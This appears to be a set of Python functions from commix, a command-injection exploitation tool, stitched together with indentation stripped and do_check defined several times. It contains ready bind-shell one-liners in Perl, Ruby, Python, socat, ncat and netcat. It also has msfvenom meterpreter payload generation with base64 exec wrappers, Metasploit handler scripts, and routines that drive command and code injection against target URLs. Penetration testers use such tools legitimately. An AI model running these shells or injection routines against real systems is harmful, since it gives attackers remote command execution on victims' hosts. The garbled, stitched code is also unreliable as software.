def do_check(url, filename):
# Check for '--tor' option.
if menu.options.tor:
if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech:
warn_msg = "It is highly recommended to avoid usage of switch '--tor' for "
warn_msg += "time-based injections because of inherent high latency time."
print(settings.print_warning_msg(warn_msg))
# Check for '--backticks' option.
if menu.options.enable_backticks:
if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech:
warn_msg = "The '--backticks' switch is only supported by the classic command injection. "
warn_msg += "It will be ignored for all other techniques."
print(settings.print_warning_msg(warn_msg)) + Style.RESET_ALL
if menu.options.wizard:
if perform_checks(url, filename) == False:
scan_level = menu.options.level
while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL
) and settings.LOAD_SESSION != True:
if not menu.options.batch:
question_msg = "Do you want to increase to '--level=" + str(
scan_level + 1)
question_msg += "' in order to perform more tests? [Y/n] > "
next_level = _input(
settings.print_question_msg(question_msg))
else:
next_level = ""
if len(next_level) == 0:
next_level = "Y"
if next_level in settings.CHOICE_YES:
menu.options.level = int(menu.options.level + scan_level)
if perform_checks(
url, filename
) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL:
scan_level = scan_level + 1
else:
break
elif next_level in settings.CHOICE_NO:
break
elif next_level in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + next_level + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
perform_checks(url, filename)
# All injection techniques seems to be failed!
if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False:
if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS:
err_msg = "All tested parameters "
if menu.options.level > 2:
err_msg += "and headers "
err_msg += "appear to be not injectable."
if not menu.options.alter_shell:
err_msg += " Try to use the option '--alter-shell'"
else:
err_msg += " Try to remove the option '--alter-shell'"
if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL:
err_msg += " and/or try to increase '--level' values to perform"
err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)"
else:
if menu.options.skip_empty:
err_msg += " and/or try to remove the option '--skip-empty'"
err_msg += "."
print(settings.print_critical_msg(err_msg))
logs.print_logs_notification(filename, url)
if not settings.CHECK_BOTH_OS:
# if not menu.options.bulkfile or settings.EOF:
# print("")
raise SystemExit()
# eof
def other_bind_shells(separator):
while True:
other_shell = _input("""
---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like bind TCP shells""" +
Style.RESET_ALL + """ ]---
Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL +
"""' to use a PHP bind TCP shell.
Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL +
"""' to use a Perl bind TCP shell.
Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL +
"""' to use a Ruby bind TCP shell.
Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL +
"""' to use a Python bind TCP shell.
Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL +
"""' to use a Socat bind TCP shell.
Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL +
"""' to use a Ncat bind TCP shell.
\n---[ """ + Style.BRIGHT + Fore.BLUE + """Windows bind TCP shells""" +
Style.RESET_ALL + """ ]---
Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL +
"""' to use a PHP meterpreter bind TCP shell.
Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL +
"""' to use a Python meterpreter bind TCP shell.
\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" +
Style.RESET_ALL + """) > """)
# PHP-bind-shell
if other_shell == '1':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
print(settings.print_error_msg(error_msg))
continue
payload = "php/bind_php"
output = "php_bind_tcp.rc"
info_msg = "Generating the '" + payload + "' payload. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
proc = subprocess.Popen(
"msfvenom -p " + str(payload) + " RHOST=" +
str(settings.RHOST) + " LPORT=" + str(settings.LPORT) +
" -e php/base64 -o " + output + ">/dev/null 2>&1",
shell=True).wait()
with open(output, "r+") as content_file:
data = content_file.readlines()
data = ''.join(data).replace("\n", " ")
print(settings.SPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set rhost " + str(settings.RHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR:
set_php_working_dir()
other_shell = settings.WIN_PHP_DIR + " -r " + data
else:
other_shell = "php -r \"" + data + "\""
msf_launch_msg(output)
except:
print(settings.SPACE)
break
# Perl-bind-shell
elif other_shell == '2':
other_shell = "perl -MIO -e '" \
"$c=new IO::Socket::INET(LocalPort," + settings.LPORT + ",Reuse,1,Listen)->accept;" \
"$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
break
# Ruby-bind-shell
elif other_shell == '3':
other_shell = "ruby -rsocket -e '" \
"s=TCPServer.new(" + settings.LPORT + ");" \
"c=s.accept;" \
"s.close;" \
"$stdin.reopen(c);" \
"$stdout.reopen(c);" \
"$stderr.reopen(c);" \
"$stdin.each_line{|l|l=l.strip;" \
"next if l.length==0;" \
"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip)}})}'"
break
# Python-bind-shell
elif other_shell == '4':
other_shell = "python -c 'import pty,os,socket%0d" \
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \
"s.bind((\"\"," + settings.LPORT + "))%0d" \
"s.listen(1)%0d" \
"(rem, addr) = s.accept()%0d" \
"os.dup2(rem.fileno(),0)%0d" \
"os.dup2(rem.fileno(),1)%0d" \
"os.dup2(rem.fileno(),2)%0d" \
"pty.spawn(\"/bin/sh\")%0d" \
"s.close()'"
break
# Socat-bind-shell
elif other_shell == '5':
other_shell = "socat tcp-listen:" + settings.LPORT + \
" exec:\"sh\""
break
# Ncat-bind-shell
elif other_shell == '6':
other_shell = "ncat -k -l " + settings.LPORT + " -e /bin/sh"
break
# PHP-bind-shell(meterpreter)
elif other_shell == '7':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
print(settings.print_error_msg(error_msg))
continue
payload = "php/meterpreter/bind_tcp"
output = "php_meterpreter.rc"
info_msg = "Generating the '" + payload + "' payload. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
proc = subprocess.Popen(
"msfvenom -p " + str(payload) + " RHOST=" +
str(settings.RHOST) + " LPORT=" + str(settings.LPORT) +
" -e php/base64 -o " + output + ">/dev/null 2>&1",
shell=True).wait()
with open(output, "r+") as content_file:
data = content_file.readlines()
data = ''.join(data).replace("\n", " ")
print(settings.SPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set rhost " + str(settings.RHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR:
set_php_working_dir()
other_shell = settings.WIN_PHP_DIR + " -r " + data
else:
other_shell = "php -r \"" + data + "\""
msf_launch_msg(output)
except:
print(settings.SPACE)
break
# Python-bind-shell(meterpreter)
elif other_shell == '8':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
print(settings.print_error_msg(error_msg))
continue
payload = "python/meterpreter/bind_tcp"
output = "py_meterpreter.rc"
info_msg = "Generating the '" + payload + "' payload. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
proc = subprocess.Popen("msfvenom -p " + str(payload) +
" RHOST=" + str(settings.RHOST) +
" LPORT=" + str(settings.LPORT) +
" -o " + output + ">/dev/null 2>&1",
shell=True).wait()
with open(output, "r") as content_file:
data = content_file.readlines()
data = ''.join(data)
data = base64.b64encode(data)
print(settings.SPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set rhost " + str(settings.RHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
set_python_working_dir()
other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
else:
other_shell = "python -c \"exec('" + data + "'.decode('base64'))\""
msf_launch_msg(output)
except:
print(settings.SPACE)
break
# Check for available shell options
elif any(option in other_shell.lower()
for option in settings.SHELL_OPTIONS):
if shell_options(other_shell):
return shell_options(other_shell)
# Invalid option
else:
err_msg = "The '" + other_shell + "' option, is not valid."
print(settings.print_error_msg(err_msg))
continue
return other_shell
def injection_proccess(url, check_parameter, http_request_method, filename,
timesec):
if menu.options.ignore_code:
info_msg = "Ignoring '" + str(
menu.options.ignore_code) + "' HTTP error code. "
print(settings.print_info_msg(info_msg))
# Skipping specific injection techniques.
if settings.SKIP_TECHNIQUES:
menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES)
for skip_tech_name in settings.AVAILABLE_TECHNIQUES:
if skip_tech_name in menu.options.skip_tech:
menu.options.tech = menu.options.tech.replace(
skip_tech_name, "")
if len(menu.options.tech) == 0:
err_msg = "Detection procedure was aborted due to skipping all injection techniques."
print(settings.print_critical_msg(err_msg))
raise SystemExit
# User-Agent HTTP header / Referer HTTP header /
# Host HTTP header / Custom HTTP header Injection(s)
if check_parameter.startswith(" "):
header_name = ""
the_type = " HTTP header"
else:
if settings.COOKIE_INJECTION:
header_name = " cookie"
else:
header_name = ""
the_type = " parameter"
check_parameter = " '" + check_parameter + "'"
# Estimating the response time (in seconds)
timesec, url_time_response = requests.estimate_response_time(url, timesec)
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
# Check for identified warnings
url = heuristic_basic(url, http_request_method)
if settings.IDENTIFIED_WARNINGS:
if not settings.SKIP_COMMAND_INJECTIONS:
ci = "command injection techniques"
ce = "code injection technique"
if not menu.options.batch:
question_msg = "Do you want to skip test payloads for "
question_msg += ci + "? [Y/n] > "
procced_option = _input(
settings.print_question_msg(question_msg))
else:
procced_option = ""
if procced_option in settings.CHOICE_YES or len(
procced_option) == 0:
if settings.VERBOSITY_LEVEL >= 1:
debug_msg = "Skipping " + ci + "."
print(settings.print_debug_msg(debug_msg))
settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False
settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True
elif procced_option in settings.CHOICE_NO:
if settings.VERBOSITY_LEVEL >= 1:
debug_msg = "Skipping " + ce + "."
print(settings.print_debug_msg(debug_msg))
settings.SKIP_CODE_INJECTIONS = True
settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = False
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + procced_option + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
if not settings.LOAD_SESSION:
info_msg = "Setting the"
if not header_name == " cookie" and not the_type == " HTTP header":
info_msg += " " + http_request_method + ""
info_msg += ('', ' (JSON)')[settings.IS_JSON] + (
'', ' (SOAP/XML)')[settings.IS_XML]
if header_name == " cookie":
info_msg += header_name + the_type + check_parameter + " for tests."
else:
info_msg += the_type + header_name + check_parameter + " for tests."
print(settings.print_info_msg(info_msg))
if menu.options.failed_tries and \
menu.options.tech and not "f" in menu.options.tech and not \
menu.options.failed_tries:
warn_msg = "Due to the provided (unsuitable) injection technique"
warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", "
warn_msg += "the option '--failed-tries' will be ignored."
print(settings.print_warning_msg(warn_msg)) + Style.RESET_ALL
# Procced with file-based semiblind command injection technique,
# once the user provides the path of web server's root directory.
if menu.options.web_root and \
menu.options.tech and not "f" in menu.options.tech:
if not menu.options.web_root.endswith("/"):
menu.options.web_root = menu.options.web_root + "/"
if checks.procced_with_file_based_technique():
menu.options.tech = "f"
if not menu.options.tech:
menu.options.tech = ""
if len(menu.options.tech) == 0 or "c" in menu.options.tech:
settings.CLASSIC_STATE = True
if len(menu.options.tech) == 0 or "e" in menu.options.tech:
settings.EVAL_BASED_STATE = True
if len(menu.options.tech) == 0 or "t" in menu.options.tech:
settings.TIME_BASED_STATE = True
if len(menu.options.tech) == 0 or "f" in menu.options.tech:
settings.FILE_BASED_STATE = True
# Check if it is vulnerable to classic command injection technique.
if not settings.SKIP_COMMAND_INJECTIONS and settings.CLASSIC_STATE:
settings.CLASSIC_STATE = None
if cb_handler.exploitation(url, timesec, filename,
http_request_method) != False:
if settings.EVAL_BASED_STATE:
if not menu.options.batch:
settings.CLASSIC_STATE = True
question_msg = "Due to results, "
question_msg += "skipping of code injection checks is recommended. "
question_msg += "Do you agree? [Y/n] > "
procced_option = _input(
settings.print_question_msg(question_msg))
else:
procced_option = ""
if len(procced_option) == 0:
procced_option = "Y"
if procced_option in settings.CHOICE_YES:
if settings.VERBOSITY_LEVEL >= 1:
debug_msg = "Skipping code injection checks."
print(settings.print_debug_msg(debug_msg))
settings.SKIP_CODE_INJECTIONS = True
elif procced_option in settings.CHOICE_NO:
pass
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + procced_option + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
settings.CLASSIC_STATE = False
# Check if it is vulnerable to eval-based code injection technique.
if not settings.SKIP_CODE_INJECTIONS and settings.EVAL_BASED_STATE:
settings.EVAL_BASED_STATE = None
if eb_handler.exploitation(url, timesec, filename,
http_request_method) != False:
if not menu.options.batch:
settings.EVAL_BASED_STATE = True
question_msg = "Due to results, "
question_msg += "skipping of further command injection checks is recommended. "
question_msg += "Do you agree? [Y/n] > "
procced_option = _input(
settings.print_question_msg(question_msg))
else:
procced_option = ""
if len(procced_option) == 0:
procced_option = "Y"
if procced_option in settings.CHOICE_YES:
if settings.VERBOSITY_LEVEL >= 1:
debug_msg = "Skipping command injection checks."
print(settings.print_debug_msg(debug_msg))
settings.SKIP_COMMAND_INJECTIONS = True
elif procced_option in settings.CHOICE_NO:
pass
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + procced_option + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
settings.EVAL_BASED_STATE = False
if not settings.SKIP_COMMAND_INJECTIONS:
# Check if it is vulnerable to time-based blind command injection technique.
if settings.TIME_BASED_STATE:
settings.TIME_BASED_STATE = None
if tb_handler.exploitation(url, timesec, filename,
http_request_method,
url_time_response) != False:
settings.TIME_BASED_STATE = True
else:
settings.TIME_BASED_STATE = False
# Check if it is vulnerable to file-based semiblind command injection technique.
if settings.FILE_BASED_STATE:
settings.FILE_BASED_STATE = None
if fb_handler.exploitation(url, timesec, filename,
http_request_method,
url_time_response) != False:
settings.FILE_BASED_STATE = True
else:
settings.FILE_BASED_STATE = False
# All injection techniques seems to be failed!
if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False:
warn_msg = "The tested"
if not header_name == " cookie" and not the_type == " HTTP header":
warn_msg += " " + http_request_method + ""
warn_msg += the_type + header_name + check_parameter
warn_msg += " seems to be not injectable."
print(settings.print_warning_msg(warn_msg)) + Style.RESET_ALL
def do_check(url):
"""
This functinality is based on Filippo's Valsorda script [1].
---
[1] https://gist.github.com/FiloSottile/2077115
"""
class Request(_urllib.request.Request):
def get_method(self):
return "GET"
class RedirectHandler(_urllib.request.HTTPRedirectHandler):
"""
Subclass the HTTPRedirectHandler to make it use our
Request also on the redirected URL
"""
def redirect_request(self, req, fp, code, msg, headers,
redirected_url):
if code in (301, 302, 303, 307):
redirected_url = redirected_url.replace(' ', '%20')
newheaders = dict(
(k, v) for k, v in req.headers.items()
if k.lower() not in ("content-length", "content-type"))
warn_msg = "Got a " + str(
code) + " redirection (" + redirected_url + ")."
print(settings.print_warning_msg(warn_msg))
return Request(redirected_url,
headers=newheaders,
origin_req_host=req.get_origin_req_host(),
unverifiable=True)
else:
err_msg = str(
_urllib.error.HTTPError(req.get_full_url(), code, msg,
headers, fp)).replace(": ", " (")
print(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
class HTTPMethodFallback(_urllib.request.BaseHandler):
"""
"""
def http_error_405(self, req, fp, code, msg, headers):
fp.read()
fp.close()
newheaders = dict(
(k, v) for k, v in req.headers.items()
if k.lower() not in ("content-length", "content-type"))
return self.parent.open(
_urllib.request.Request(
req.get_full_url(),
headers=newheaders,
origin_req_host=req.get_origin_req_host(),
unverifiable=True))
# Build our opener
opener = _urllib.request.OpenerDirector()
# Check if defined any Host HTTP header.
if menu.options.host and settings.HOST_INJECTION == False:
opener.addheaders.append(('Host', menu.options.host))
# Check if defined any User-Agent HTTP header.
if menu.options.agent:
opener.addheaders.append(('User-Agent', menu.options.agent))
# Check if defined any Referer HTTP header.
if menu.options.referer and settings.REFERER_INJECTION == False:
opener.addheaders.append(('Referer', menu.options.referer))
# Check if defined any Cookie HTTP header.
if menu.options.cookie and settings.COOKIE_INJECTION == False:
opener.addheaders.append(('Cookie', menu.options.cookie))
for handler in [
_urllib.request.HTTPHandler, HTTPMethodFallback, RedirectHandler,
_urllib.request.HTTPErrorProcessor, _urllib.request.HTTPSHandler
]:
opener.add_handler(handler())
try:
response = opener.open(Request(url))
redirected_url = response.geturl()
if redirected_url != url:
while True:
if not menu.options.batch:
question_msg = "Do you want to follow the identified redirection? [Y/n] > "
redirection_option = _input(
settings.print_question_msg(question_msg))
else:
redirection_option = ""
if len(redirection_option
) == 0 or redirection_option in settings.CHOICE_YES:
if menu.options.batch:
info_msg = "Following redirection to '" + redirected_url + "'. "
print(settings.print_info_msg(info_msg))
return redirected_url
elif redirection_option in settings.CHOICE_NO:
return url
elif redirection_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + redirection_option + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
return url
except AttributeError:
pass
# Raise exception due to ValueError.
except ValueError as err:
err_msg = str(err).replace(": ", " (")
print(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
# Raise exception regarding urllib2 HTTPError.
except _urllib.error.HTTPError as err:
err_msg = str(err).replace(": ", " (")
print(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
# The target host seems to be down.
except _urllib.error.URLError as err:
err_msg = "The host seems to be down"
try:
err_msg += " (" + str(err.args[0]).split("] ")[1] + ")."
except IndexError:
err_msg += "."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Raise exception regarding infinite loop.
except RuntimeError:
err_msg = "Infinite redirect loop detected."
err_msg += "Please check all provided parameters and/or provide missing ones."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Raise exception regarding existing connection was forcibly closed by the remote host.
except SocketError as err:
if err.errno == errno.ECONNRESET:
error_msg = "Connection reset by peer."
print(settings.print_critical_msg(error_msg))
elif err.errno == errno.ECONNREFUSED:
error_msg = "Connection refused."
print(settings.print_critical_msg(error_msg))
raise SystemExit()
# Raise exception regarding connection aborted.
except Exception:
err_msg = "Connection aborted."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# eof
def netcat_version(separator):
# Defined shell
shell = "sh"
# Netcat alternatives
NETCAT_ALTERNATIVES = ["nc", "busybox nc", "nc.traditional", "nc.openbsd"]
while True:
nc_version = _input("""
---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like targets""" +
Style.RESET_ALL + """ ]---
Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL +
"""' to use the default Netcat on target host.
Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL +
"""' to use Netcat for Busybox on target host.
Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL +
"""' to use Netcat-Traditional on target host.
Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL +
"""' to use Netcat-Openbsd on target host.
\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" +
Style.RESET_ALL + """) > """)
# Default Netcat
if nc_version == '1':
nc_alternative = NETCAT_ALTERNATIVES[0]
break
# Netcat for Busybox
if nc_version == '2':
nc_alternative = NETCAT_ALTERNATIVES[1]
break
# Netcat-Traditional
elif nc_version == '3':
nc_alternative = NETCAT_ALTERNATIVES[2]
break
# Netcat-Openbsd (nc without -e)
elif nc_version == '4':
nc_alternative = NETCAT_ALTERNATIVES[3]
break
# Check for available shell options
elif any(option in nc_version.lower()
for option in settings.SHELL_OPTIONS):
if shell_options(nc_version):
return shell_options(nc_version)
# Invalid command
else:
err_msg = "The '" + nc_version + "' option, is not valid."
print(settings.print_error_msg(err_msg))
continue
while True:
if not menu.options.batch:
question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > "
enable_bin_dir = _input(settings.print_question_msg(question_msg))
else:
enable_bin_dir = ""
if len(enable_bin_dir) == 0:
enable_bin_dir = "n"
if enable_bin_dir in settings.CHOICE_NO:
break
elif enable_bin_dir in settings.CHOICE_YES:
nc_alternative = "/bin/" + nc_alternative
shell = "/bin/" + shell
break
elif enable_bin_dir in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + enable_bin_dir + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
if nc_version != '4':
# Netcat with -e
cmd = nc_alternative + " -l -p " + settings.LPORT + " -e " + shell
else:
# nc without -e
cmd = shell + " -c \"" + shell + " 0</tmp/f | " + \
nc_alternative + " -l -p " + settings.LPORT + \
" 1>/tmp/f\""
return cmd
def do_check(url):
"""
This functinality is based on Filippo's Valsorda script [1].
---
[1] https://gist.github.com/FiloSottile/2077115
"""
class Request(_urllib.request.Request):
def get_method(self):
return settings.HTTPMETHOD.HEAD
class RedirectHandler(_urllib.request.HTTPRedirectHandler):
"""
Subclass the HTTPRedirectHandler to make it use our
Request also on the redirected URL
"""
def redirect_request(self, req, fp, code, msg, headers,
redirected_url):
if code in (301, 302, 303, 307):
redirected_url = redirected_url.replace(' ', '%20')
newheaders = dict(
(k, v) for k, v in req.headers.items()
if k.lower() not in ("content-length", "content-type"))
warn_msg = "Got a " + str(
code) + " redirection (" + redirected_url + ")."
print(settings.print_warning_msg(warn_msg))
return Request(
redirected_url,
headers=newheaders,
# origin_req_host = req.get_origin_req_host(),
unverifiable=True)
else:
err_msg = str(
_urllib.error.HTTPError(req.get_full_url(), code, msg,
headers, fp)).replace(": ", " (")
print(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
class HTTPMethodFallback(_urllib.request.BaseHandler):
"""
"""
def http_error_405(self, req, fp, code, msg, headers):
fp.read()
fp.close()
newheaders = dict(
(k, v) for k, v in req.headers.items()
if k.lower() not in ("content-length", "content-type"))
return self.parent.open(
_urllib.request.Request(
req.get_full_url(),
headers=newheaders,
# origin_req_host = req.get_origin_req_host(),
unverifiable=True))
# Build our opener
opener = _urllib.request.OpenerDirector()
# Check if defined any Host HTTP header.
if menu.options.host and settings.HOST_INJECTION == False:
opener.addheaders.append(('Host', menu.options.host))
# Check if defined any User-Agent HTTP header.
if menu.options.agent:
opener.addheaders.append(('User-Agent', menu.options.agent))
# Check if defined any Referer HTTP header.
if menu.options.referer and settings.REFERER_INJECTION == False:
opener.addheaders.append(('Referer', menu.options.referer))
# Check if defined any Cookie HTTP header.
if menu.options.cookie and settings.COOKIE_INJECTION == False:
opener.addheaders.append(('Cookie', menu.options.cookie))
# Check if defined any HTTP Authentication credentials.
# HTTP Authentication: Basic / Digest Access Authentication.
if menu.options.auth_cred and menu.options.auth_type:
try:
settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type)
if menu.options.auth_type == "basic":
b64_string = encodebytes(
menu.options.auth_cred.encode(
settings.UNICODE_ENCODING)).decode().replace('\n', '')
opener.addheaders.append(
("Authorization", "Basic " + b64_string + ""))
elif menu.options.auth_type == "digest":
try:
url = menu.options.url
try:
response = _urllib.request.urlopen(
url, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as e:
try:
authline = e.headers.get('www-authenticate', '')
authobj = re.match('''(\w*)\s+realm=(.*),''',
authline).groups()
realm = authobj[1].split(',')[0].replace("\"", "")
user_pass_pair = menu.options.auth_cred.split(":")
username = user_pass_pair[0]
password = user_pass_pair[1]
authhandler = _urllib.request.HTTPDigestAuthHandler(
)
authhandler.add_password(realm, url, username,
password)
opener = _urllib.request.build_opener(authhandler)
_urllib.request.install_opener(opener)
result = _urllib.request.urlopen(
url, timeout=settings.TIMEOUT)
except AttributeError:
pass
except _urllib.error.HTTPError as e:
pass
except ValueError:
err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'."
err_msg += " Try basic or digest HTTP authentication type."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
pass
for handler in [
_urllib.request.HTTPHandler, HTTPMethodFallback, RedirectHandler,
_urllib.request.HTTPErrorProcessor, _urllib.request.HTTPSHandler
]:
opener.add_handler(handler())
try:
# Return a Request or None in response to a redirect.
response = opener.open(Request(url))
if response == None:
return url
else:
redirected_url = response.geturl()
if redirected_url != url:
while True:
if not menu.options.batch:
question_msg = "Do you want to follow the identified redirection? [Y/n] > "
redirection_option = _input(
settings.print_question_msg(question_msg))
else:
redirection_option = ""
if len(redirection_option
) == 0 or redirection_option in settings.CHOICE_YES:
if menu.options.batch:
info_msg = "Following redirection to '" + redirected_url + "'. "
print(settings.print_info_msg(info_msg))
return redirected_url
elif redirection_option in settings.CHOICE_NO:
return url
elif redirection_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + redirection_option + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
return url
except AttributeError:
pass
# Raise exception due to ValueError.
except ValueError as err:
err_msg = str(err).replace(": ", " (")
print(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
# Raise exception regarding urllib2 HTTPError.
except _urllib.error.HTTPError as err:
# Raise exception regarding infinite loop.
if "infinite loop" in str(err):
err_msg = "Infinite redirect loop detected."
err_msg += "Please check all provided parameters and/or provide missing ones."
print(settings.print_critical_msg(err_msg))
else:
err_msg = str(err).replace(": ", " (")
print(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
# The target host seems to be down.
except _urllib.error.URLError as err:
err_msg = "The host seems to be down"
try:
err_msg += " (Reason: " + str(
err.args[0]).split("] ")[-1].lower() + ")."
except IndexError:
err_msg += "."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Raise exception regarding existing connection was forcibly closed by the remote host.
except SocketError as err:
if err.errno == errno.ECONNRESET:
error_msg = "Connection reset by peer."
print(settings.print_critical_msg(error_msg))
elif err.errno == errno.ECONNREFUSED:
error_msg = "Connection refused."
print(settings.print_critical_msg(error_msg))
raise SystemExit()
# Raise exception regarding connection aborted.
except Exception:
err_msg = "Connection aborted."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# eof
if menu.options.tor_check and not menu.options.tor:
err_msg = "The '--check-tor' swich requires usage of switch '--tor'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if defined "--ignore-code" option.
if menu.options.ignore_code and "," in menu.options.ignore_code:
err_msg = "Ignoring more than one HTTP error code, is not yet supported."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.wizard:
if not menu.options.url:
while True:
question_msg = "Please enter full target URL (-u) > "
menu.options.url = _input(
settings.print_question_msg(question_msg))
if len(menu.options.url) == 0:
pass
else:
break
question_msg = "Please enter POST data (--data) [Enter for none] > "
menu.options.data = _input(
settings.print_question_msg(question_msg))
if len(menu.options.data) == 0:
menu.options.data = False
# Retries when the connection timeouts.
if menu.options.retries:
settings.MAX_RETRIES = menu.options.retries
# Seconds to delay between each HTTP request.
def installer():
packages = "build-essential python-dev"
dependencies = "git python-pip"
info_msg = "Starting the installer... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
# Check if OS is Linux.
if platform.system() == "Linux":
# You need to have root privileges to run this script
if os.geteuid() != 0:
print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]")
err_msg = "You need to have root privileges to run this option!"
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if commix is already installed.
if os.path.isdir("/usr/share/" + settings.APPLICATION + ""):
print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]")
warn_msg = "It seems that " + settings.APPLICATION
warn_msg += " is already installed in your system."
print(settings.print_warning_msg(warn_msg))
while True:
if not menu.options.batch:
question_msg = "Do you want to remove commix? [Y/n] > "
uninstall = _input(
settings.print_question_msg(question_msg))
else:
uninstall = ""
if len(uninstall) == 0:
uninstall = "y"
if uninstall in settings.CHOICE_YES:
uninstaller()
raise SystemExit()
elif uninstall in settings.CHOICE_NO or \
uninstall in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + uninstall + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
# Check for git.
if not os.path.isfile("/usr/bin/git") or not os.path.isfile(
"/usr/bin/pip"):
# Install requirement.
if os.path.isfile("/etc/apt/sources.list"):
sys.stdout.write("[" + Fore.GREEN + " SUCCEED " +
Style.RESET_ALL + "]\n")
sys.stdout.flush()
# Check for dependencies.
dependencies_items = dependencies.split()
for item in dependencies_items:
requirments.do_check(item)
else:
print("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]")
err_msg = "The installer is not designed for any "
err_msg += "other Linux distro than Ubuntu / Debian. "
err_msg += "Please install manually: " + dependencies
print(Back.RED + err_msg + Style.RESET_ALL)
print("")
raise SystemExit()
